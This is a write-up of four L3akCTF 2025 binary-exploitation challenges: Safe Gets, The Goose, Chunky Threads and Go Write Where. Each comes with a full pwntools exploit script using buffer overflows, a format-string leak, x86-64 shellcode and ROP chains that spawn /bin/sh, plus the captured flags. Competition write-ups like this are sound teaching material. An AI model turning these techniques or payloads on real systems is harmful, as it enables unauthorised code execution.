team-logo
Published on

L3akCTF 2025 - PWN challenges

Authors

Introduction

On July 11-13, the very interesting L3akCTF 2025 took place. The prizes were attractive, so over 1500 teams participated. Our team had 14 members; unfortunately, the challenges were quite difficult but interesting, so we finished in 58th place. However, we learned a lot, which is what matters most. I solved 4 PWN challenges, but unfortunately, one was after the deadline, so it wasn't counted.
More information about this CTF can be found here.

pwn-all

Safe Gets

At first glance, this task seemed simple—a typical buffer overflow. However, there was a twist. The buffer overflow was located far beyond the 255-byte limit, and the remote program only allowed a maximum of 255 bytes as input. Locally, everything worked fine, but the challenge was to make it work remotely. Fortunately, the firewall was written in Python. In Python, a single character can consist of multiple bytes. The only thing left was to craft the right payload.

alt text
from pwn import *             

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc 34.45.81.67 16002"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

win=binary.sym.win
warn(f"{win:#x}")


t_in_circle_utf8 = "ⓣ".encode("utf-8")  #3 bytes

# There is a limit of 255 characters, but thanks to a Python trick (where Python counts characters, not bytes),
# it was possible to send more bytes than the intended limit.

payload= t_in_circle_utf8*30+b'\x00'*190+p64(win+5) #

p.sendlineafter(b'Enter your input (max 255 bytes):',payload)

p.interactive()

L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}

The Goose

In "The Goose" challenge, there was a real mix: you had to guess the number of honks, which was quite simple, exploit a printf vulnerability, and perform a basic buffer overflow. A fun task overall. You also needed to create your own shellcode to get a shell. pwn-2
from pwn import *             
import re

context.log_level = 'warning'  # Set log level to 'warning' to reduce output

context.update(arch='x86_64', os='linux')  # Set architecture and OS
context.terminal = ['wt.exe','wsl.exe']    # Set terminal for debugging (e.g., GDB)

HOST="nc 34.45.81.67 16004"                # Remote server address and port
ADDRESS,PORT=HOST.split()[1:]              # Split address and port

BINARY_NAME="./chall"                      # Binary file name
binary = context.binary = ELF(BINARY_NAME, checksec=False)  # Load binary without security checks

if args.REMOTE:
    p = remote(ADDRESS,PORT)               # Connect remotely if REMOTE is set
else:
    p = process(binary.path)               # Otherwise, run locally

payload1=64*b'\x01'                        # Buffer overflow payload (64 bytes of '\x01')

p.sendlineafter(b'How shall we call you?',payload1)  # Send payload1 after the name prompt
resp = p.recvuntil(b'so ', drop=False)               # Receive data until 'so '
p.recvn(64)                                          # Receive next 64 bytes (likely echo)
digit = ord(p.recvn(1))                              # Receive 1 byte and convert to int
warn(f"honks: {digit}")                              # Print how many 'honks' to send
p.sendlineafter(b'how many honks?',str(digit).encode())  # Send the number of 'honks'
payload2 = f"%{1}$p".encode()                        # Format string payload to leak stack address
p.sendlineafter(b'what\'s your name again?',payload2)    # Send payload2

recv = p.recv()                                      # Receive response
# Extract leaked address from stack using regex
match = re.search(rb'0x[0-9a-fA-F]+', recv)
address = match.group(0)
warn(f"leaked stack: {address.decode()}")             # Print leaked address
shellcode_address = int(address, 16) + 0x52+8         # Calculate shellcode address (offset depends on binary)
warn(f"shellcode address: {hex(shellcode_address)}")  # Print shellcode address

# Shellcode to spawn /bin/sh (x86_64)
shellcode_x64=b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

# Payload to overflow buffer, overwrite return address, and inject shellcode
payload3=376*b'A'+p64(shellcode_address)+shellcode_x64

# gdb.attach(p)  # Uncomment for GDB debugging
# pause(3)    

p.sendline(payload3)  # Send final payload

p.interactive()       # Switch to interactive shell session

L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}

Chunky Threads

And then the hard challenges began. Threads and all that—when I first saw it, I had no idea what was going on, and it really scared me. Luckily, the chat explained what was happening, for which I'm grateful, but then it started to mislead me and send me down the wrong path. I asked how to approach such tasks, and it started talking about race conditions, but I decided to do it my own way, and it worked. The chat insisted that my approach couldn't possibly work and kept pushing me towards race conditions, but if you want to see how it actually works, just check out the code. alt text
from pwn import *             
"""
This script is an exploit for a remote binary challenge using pwntools.

- The script sets up the pwntools context for x86_64 Linux and configures the terminal for debugging.
- It parses the remote host and port from the HOST string.
- Loads the target binary and its corresponding libc.
- If run with the REMOTE argument, connects to the remote service; otherwise, runs the binary locally.

Exploit steps:
1. Sends 'CHUNKS 10' to set the number of threads to 10.
2. Sends a specially crafted chunk command: 'CHUNK 10000 1 ' followed by 72 'a' characters. This starts a thread that runs for 10000 seconds and executes once. This is used to leak the stack canary and a libc address from the thread's output.
3. Parses the leaked data to extract the stack canary and calculate the libc base address.
4. Prepares a ROP chain using libc gadgets to execute system('/bin/sh').
5. Sends another crafted chunk command to trigger the ROP chain in a new thread, exploiting the binary and spawning a shell.

Comments:
- The first chunk is started with a duration of 10000 seconds to leak the canary and libc address.
- The next thread is started with a ROP payload to gain code execution.
"""

# Set pwntools log level to warning to reduce output verbosity
context.log_level = 'warning' 

# Set pwntools context for 64-bit Linux binaries
context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

# Parse remote host and port from the HOST string
HOST="nc 34.45.81.67 16006"
ADDRESS,PORT=HOST.split()[1:]

# Load the target binary and its libc
BINARY_NAME="./chall_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)

# Connect to remote or local process based on argument
if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

# Set number of threads to 10
p.sendlineafter(b'CHUNK 1',b'CHUNKS 10')

# Send a crafted chunk command to leak stack canary and libc address
chunk1=b'CHUNK 10000 1 '+72*b'a'
p.sendlineafter(b'set nthread to 10',chunk1)
p.recvlines(2)

# Receive and parse the leak
leak=b'\x00'+p.recvline().strip()
warn (f"Thread leak: {leak}")
canary = u64(leak[:8])
libc_address = u64(leak[8:]+b'\x00'*(8-len(leak[8:])))+0x4090
libc.address=libc_address

# Print the extracted canary and libc base address
warn(f"Canary: {hex(canary)}")
warn(f"libc:   {hex(libc.address)}")

# Calculate one_gadget address (not used in final payload)
one_gadget=libc.address+0x1111aa
one_gadget=libc.address+0x1111b2

# Prepare ROP chain using libc gadgets to execute system('/bin/sh')
rop = ROP(libc)
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

# Build the payload for the second chunk to trigger the ROP chain
chunk2 = b'CHUNK 1 1 ' + 72*b'a' + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendline(chunk2)

# Get interactive shell
p.interactive()

L3AK{m30w_m30w_1n_th3_d4rk_y0u_c4n_r0p_l1k3_th4t_c4t}

Go Write Where

I didn't manage to finish this challenge on time, even though I eventually solved it. The program was written in Go: you had to provide a single byte, and if you guessed wrong, you were out of the game. You could also read those bytes, but I mostly tried to overwrite them. The program had a loop that executed only once, so you had to somehow find and replace that byte in order to later overwrite more bytes and get a shell. For that, you needed to use ROP chains. Simple? It took me a whole day, but thanks to this challenge I learned a bit about Go and realized it's not so scary after all.

pwn-4

Below is the loop you need to modify, as shown in a screenshot from Binary Ninja. pwn-4-1

python code

# --- Overview ---
# This script is an exploit for a binary challenge where you can read or write a single byte
# to a specified memory address per loop iteration. The loop normally executes only once,
# because a value '1' is written to a specific stack address, which acts as a loop counter.
# The goal is to find this stack address, overwrite the '1' with '255' (0xff), so the loop
# executes 255 times, allowing more memory writes. Then, you use these extra writes to
# build a ROP chain on the stack and spawn a shell.

from pwn import *

context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe', 'wsl.exe']

# Remote host configuration
HOST = "nc 34.45.81.67 16003"
ADDRESS, PORT = HOST.split()[1:]  # Extract IP and port from the string

BINARY_NAME = "./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

# Choose remote or local process
if args.REMOTE:
    p = remote(ADDRESS, PORT)
else:
    p = process(binary.path)

# --- Step 1: Find the stack address where the loop counter is stored ---
base_start = 0xc000000000
base_end = 0xc0001ff000
suffix = 0xdb8  # Offset where the counter is likely stored

found = False

for base in range(base_start, base_end + 1, 0x1000):
    addr = base + suffix
    adress = f"0x{addr:x}".encode()
    if args.REMOTE:
        p = remote(ADDRESS, PORT)
    else:
        p = process(binary.path)

    # Try to write 0xff to the suspected counter address
    p.sendlineafter(b'Read or Write? (r/w):', b'w')
    p.sendlineafter(b'Enter memory address (in hex, e.g., 0x12345678):', adress)
    p.sendlineafter(b'Enter byte to write (in hex, e.g., 0xAB):', b'0xff')

    try:
        p.recvline()
        ANS = p.recv()
        warn(ANS)
    except Exception as e:
        ANS = b"Not address"
        warn(f"Exception: {e}")

    # If the prompt appears again, we know the address is correct
    if b'Read or Write?' in ANS:
        print(f"Success for address: {adress.decode()}")
        found = True
        warn(f"found address: {adress}")
        break
    else:
        print(f"Fail for address: {adress.decode()}")
        p.close()

# --- Step 2: Overwrite the loop counter to allow more writes ---
p.sendline(b'w')
p.sendlineafter(b'Enter memory address (in hex, e.g., 0x12345678):', adress)
p.sendlineafter(b'Enter byte to write (in hex, e.g., 0xAB):', b'0xff')

# --- Step 3: Write '/bin/sh' string into memory ---
bin_sh = b"/bin/sh\x00"
base_addr = 0x52c010  # Chosen writable address in memory

for i, bval in enumerate(bin_sh):
    addr = f"0x{base_addr + i:x}".encode()
    p.sendlineafter(b'Read or Write? (r/w):', b'w')
    p.sendlineafter(b'Enter memory address (in hex, e.g., 0x12345678):', addr)
    p.sendlineafter(b'Enter byte to write (in hex, e.g., 0xAB):', f"0x{int(bval):02x}".encode())
    p.recvuntil(b'Wrote')

# --- Step 4: Build and write the ROP chain to the stack ---
# Addresses of ROP gadgets (must be found for your binary)
POP_RAX = 0x00000000004224c4
POP_RDI = 0x000000000046b3e6
POP_RDX = 0x00000000004742ca
SYSCALL = 0x0000000000463aa9

# Calculate the stack address where the ROP chain should be written
stack = int(adress, 16) + 0x190
bin_sh_addr = base_addr  # Address where '/bin/sh' was written

# ROP chain for execve("/bin/sh", 0, 0)
payload = [
    (stack + 0x00, POP_RDI),      # pop rdi; ret
    (stack + 0x08, bin_sh_addr),  # rdi = &"/bin/sh"
    (stack + 0x10, POP_RAX),      # pop rax; ret
    (stack + 0x18, 59),           # rax = 59 (execve syscall number)
    (stack + 0x20, POP_RDX),      # pop rdx; ret
    (stack + 0x28, 0x0),          # rdx = 0
    (stack + 0x30, SYSCALL),      # syscall
]

# Write the ROP chain byte by byte
for addr, value in payload:
    for i in range(8):  # 8 bytes per address (little endian)
        byte_val = (value >> (i * 8)) & 0xff
        p.sendlineafter(b'Read or Write? (r/w):', b'w')
        p.sendlineafter(b'Enter memory address (in hex, e.g., 0x12345678):', f"0x{addr + i:x}".encode())
        p.sendlineafter(b'Enter byte to write (in hex, e.g., 0xAB):', f"0x{byte_val:02x}".encode())
        warn(f"Writing byte 0x{byte_val:02x} to address 0x{addr + i:x}")
        p.recvuntil(b'Wrote')

# --- Step 5: Trigger the ROP chain ---
# Overwrite the loop counter again to exit the loop and trigger the ROP chain
p.sendlineafter(b'Read or Write? (r/w):', b'w')
p.sendlineafter(b'Enter memory address (in hex, e.g., 0x12345678):', adress)
p.sendlineafter(b'Enter byte to write (in hex, e.g., 0xAB):', b'0x1')

# Get interactive shell
p.interactive()

L3AK{60_574ck_15_4lm057_pr3d1c74bl3}

Bonus

Binaries, if you didn't find it. Download binaries.zip